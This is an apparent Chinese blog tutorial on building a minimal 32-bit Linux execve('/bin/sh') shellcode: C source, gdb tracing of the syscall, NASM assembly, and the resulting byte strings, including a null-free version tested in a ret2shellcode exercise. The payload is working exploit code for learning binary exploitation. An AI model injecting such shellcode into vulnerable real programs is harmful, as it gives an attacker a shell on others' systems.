一个简单的shellcode如何写

最简单的shellcode

execve("/bin/sh",0,0);

通过简单的汇编将这句shellcode描写出来

eax = 0xb

ebx = “/bin/sh”

ecx = 0

edx = 0

int 0x80

section .text
global  _start
_start:
xor eax,eax   ;eax=0    
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb     ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall

通过指令将汇编转化成可执行的二进制文件

$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o
$ ./shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cGdVBGaa-1638331318767)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112010951100.png)]

shellcode是如何获取的

我们先通过c程序写一个获取shell的代码

#include<stdio.h>
#include<unistd.h>
void main(){

        execve("/bin/sh",0,0);
}

编译后成功获取shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hPnyAg69-1638331318771)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112010958506.png)]

首先将c程序转化成我们想要的汇编代码

gcc -S -masm=intel shell.c -o shell.s -m32

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lI40znE8-1638331318773)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011006264.png)]

这是动态链接的 大体意识是

push 0
push 0
push *"/bin/sh\x00"
call execve

这里有一个问题,如果我们像这样子去构造shellcode我们需要知道execve的调用地址;

当然,我们可以直接来看一下execve调用这些参数干了啥

gdb动态调试一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bKnIZBri-1638331318790)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011015105.png)]

这时候我们可以看到execve的三个参数已经入站,准备调用execve函数,我们按s进入函数内部看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ukduDdUf-1638331318794)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011019882.png)]

我们看到他将

三个参数"/bin/sh",0,0分别传给ebx,ecx,edx,然后将0xb传给eax,

最终的到的结果是

eax=0xb
ebx="/bin/sh"
ecx=0
edx=0

我们看到后面还有个函数调用,我们进到里面看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MnNpC5dS-1638331318796)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011027242.png)]

这里调用了int 0x80(其他的push pop没啥用,维持栈平衡的)

int 0x80

这里引用知乎上的文章解释int 0x80

https://zhuanlan.zhihu.com/p/358731121

操作系统提供了中断指令int 0x80来主动进入内核,这是用户程序发起的调用访问内核代码的唯一方式

  • 用户程序中包含一段包含int指令的代码,通常是由库函数通过内联汇编插入
  • 操作系统写中断处理,获取想调程序的编号
  • 操作系统根据编号执行相应的代码

调用系统函数时会通过内联汇编代码插入int 0x80的中断指令,(不仅会插入中断指令,还会将系统调用编号设置给 %eax 寄存器)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-88RQpL3w-1638331318798)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011045760.jpg)]

简单的概括就是

int 0x80就是中断指令,执行eax内存储的系统调用号

shellcode中eax=0xb,也就是说execve的系统调用号是0xb

总结以上分析得到的shellcode

eax = 0xb
ebx = /bin/sh
ecx = 0
edx = 0
int 0x80

通过汇编将以上结论描述出来

section .text
global  _start
_start:
xor eax,eax   ;eax=0    
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb     ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-44NC05mo-1638331318800)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011054243.png)]

中间这一块机械指令就是我们要的shellcode

shellcode="\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

这里拿ret2shellcode为例,尝试我们编写的shellcode是否成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lds0gkso-1638331318802)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011151653.png)]

这个shellcode执行失败,里面存在\x00

修改一下,将/bin/sh\x00修改成 /bin//sh

section .text
global  _start
_start:
xor eax,eax   ;eax=0 
push eax      ;将\x00 入栈作为截断
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb     ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-agKvgaVp-1638331318804)(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011152382.png)]

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值